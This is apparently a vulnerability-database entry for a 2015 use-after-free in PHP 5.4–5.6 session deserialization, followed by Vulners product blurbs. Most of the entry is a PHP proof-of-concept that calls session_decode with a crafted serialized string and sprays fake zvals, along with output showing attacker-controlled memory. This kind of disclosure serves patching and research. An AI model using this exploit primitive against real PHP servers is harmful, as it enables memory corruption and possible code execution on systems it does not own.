Lucene search
K

PHP 5.6 / 5.5 / 5.4 Session Deserialized Use-After-Free

🗓️ 12 Sep 2015 00:00:00Reported by 名匿Type 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Use-After-Free Vulnerabilities in PHP 5.6/5.5/5.4 Session Deserialize

Code

                                                The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.

```
<?php

session_start();

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "x00x00x00x00";
$fakezval .= "x01";
$fakezval .= "x00";
$fakezval .= "x00x00";

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);

for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}

var_dump($_SESSION);

function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
["ryat"]=>
NULL
["chtg"]=>
array(1) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
}
```
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Sep 2015 00:00Current
8High risk
Vulners AI Score8
22